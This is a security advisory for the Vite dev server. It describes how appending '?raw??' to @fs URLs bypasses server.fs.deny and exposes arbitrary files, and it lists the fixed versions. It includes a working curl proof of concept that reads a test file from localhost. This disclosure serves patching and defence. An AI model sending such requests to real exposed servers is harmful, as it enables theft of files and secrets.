GHSA-x574-m823-4x7w Vite bypasses server.fs.deny when using ?raw??

• npm vite: >= 6.2.0, < 6.2.3 → fixed in 6.2.3 • npm vite: >= 6.1.0, < 6.1.2 → fixed in 6.1.2 • npm vite: >= 6.0.0, < 6.0.12 → fixed in 6.0.12 • npm vite: >= 5.0.0, < 5.4.15 → fixed in 5.4.15 • npm vite: < 4.5.10 → fixed in 4.5.10

Summary The contents of arbitrary files can be returned to the browser. Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Details `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" 403 Restricted The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```